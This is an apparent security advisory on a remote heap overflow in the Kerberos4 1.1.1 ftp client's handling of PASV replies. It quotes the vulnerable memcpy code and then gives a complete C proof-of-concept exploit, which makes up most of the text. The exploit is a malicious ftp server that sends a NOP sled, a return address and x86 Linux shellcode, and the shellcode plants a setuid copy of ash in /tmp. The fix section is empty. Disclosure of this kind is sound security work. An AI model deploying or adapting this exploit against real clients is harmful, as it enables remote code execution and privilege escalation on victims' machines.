|
COMMAND Kerberos4 ftp client remote heap overflow SYSTEMS AFFECTED Kerberos4 ftp client 4-1.1.1 PROBLEM Marcell Fodor [http://mantra.freeweb.hu/] advisory : Kerberos4 ftp client is a simple ftp client, with the extensions defined by RFC 2228. When authentication fails with AUTH, client will use USER/PASS command as other ones. A bug in the code may cause a heap overflow which leads to remote code execution. The overflow occurs when the server responds to client\'s request for passive mode. If the server responds with a long reply in the place of IP and port, pasv buffer will overflow. see original code below : krb4-1.1.1/appl/ftp/ftp/ftp.c ---------------- int getreply (int expecteof) { . . . if (code == 227 || code == 229) { char *p, *q; pasv[0] = 0; p = strchr (reply_string, \'(\'); if (p) { p++; q = strchr(p, \')\'); if(q){ memcpy (pasv, p, q - p); // <- heap overflow pasv[q - p] = 0; } } } ------------- client: PASV server: 227 food_for_the_poor (AAAAAAA...1323bytes...AAAAAA) Exploit : ======= /* Proof Of Concept exploit against Kerberos4-1.1.1 ftp client 23/04/2002 egg: x86 linux, 95 bytes cp /bin/ash /tmp/ash chmod 4755 /tmp/ash Marcell Fodor m.fodor@mail.datanet.hu */ #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netdb.h> #include <unistd.h> #define HIT \"\\xa0\\x01\\x07\\x08\" #define SERVERPORT (3568) #define SEND(a) write(sock, a, strlen(a)) #define NOP 0x90 #define _BANNER \"220 evil ready\\n\" #define _USER \"331 user oke\\n\" #define _PASS \"230 pass oke\\n\" #define _SYST \"215 evil\\n\" #define _GO \"530 go on\\n\" #define _END \"530 look what i did to you\\n\" static unsigned char egg[] = \"\\x68\\x2f\\x62\\x69\\x6e\\x5f\\x6a\\x70\\x58\\x66\\x50\\x66\\x68\\x2f\\x63\\x57\" \"\\x54\\x5b\\x31\\xf6\\x56\\x54\\x5a\\x68\\x2f\\x61\\x73\\x68\\x59\\x51\\x57\\x54\" \"\\x5d\\x56\\x51\\x68\\x2f\\x74\\x6d\\x70\\x54\\x59\\x56\\x51\\x55\\x53\\x54\\x51\" \"\\x5d\\x59\\xb0\\x02\\xcd\\x80\\x39\\xc6\\x75\\x06\\xb0\\x0b\\xcd\\x80\\xeb\\x1a\" \"\\x31\\xdb\\x4b\\x56\\x54\\x59\\x31\\xd2\\x6a\\x07\\x58\\xcd\\x80\\x31\\xc9\\x66\" \"\\xb9\\x6d\\x09\\x55\\x5b\\x6a\\x0f\\x58\\xcd\\x80\\x6a\\x01\\x58\\xcd\\x80\\x00\"; int main(int argc, char *argv[]) { int c, sock, ret; int e = sizeof(struct sockaddr_in); struct sockaddr_in l, r; int serverport = SERVERPORT; l.sin_family = AF_INET; l.sin_port = htons(serverport); l.sin_addr.s_addr = INADDR_ANY; bzero(&(l.sin_zero), 8); c = socket(AF_INET, SOCK_STREAM, 0); ret = bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr)); if (ret) { printf(\"bind failed\\n\"); _exit(0); } ret = listen(c, 1); if (ret) { printf(\"listen failed\\n\"); _exit(0); } printf(\"Evil ftpd accepting connections on port:%d\\n\", serverport); while ((sock = accept(c, (struct sockaddr *) &r, &e))) { if (!fork()) { int ret, ok = 0; char buffer[8192]; SEND(_BANNER); do { memset(buffer, 0, sizeof(buffer)); ret = read(sock, buffer, sizeof(buffer) - 1); if (ret < 1) _exit(0); /* hmm..?$#%! */ if (!strncmp(buffer, \"USER\", 4)) SEND(_USER); else if (!strncmp(buffer, \"PASS\", 4)) SEND(_PASS); else if (!strncmp(buffer, \"SYST\", 4)) SEND(_SYST); else if (!strncmp(buffer, \"PASV\", 4)) ok = 1; else if (!strncmp(buffer, \"EPRT\", 4)) ok = 1; else SEND(_GO); } while(!ok); memset(buffer, 0, sizeof(buffer)); strcpy(buffer, \"227 (\"); memset(buffer + strlen(buffer), NOP, 1319); strcat(buffer, HIT); strcat(buffer, \")\\n\"); memcpy(buffer + strlen(buffer) - 10 - strlen(egg), egg, strlen(egg)); SEND(buffer); SEND(_END); close(sock); _exit(0); } close(sock); } _exit(0); } SOLUTION ??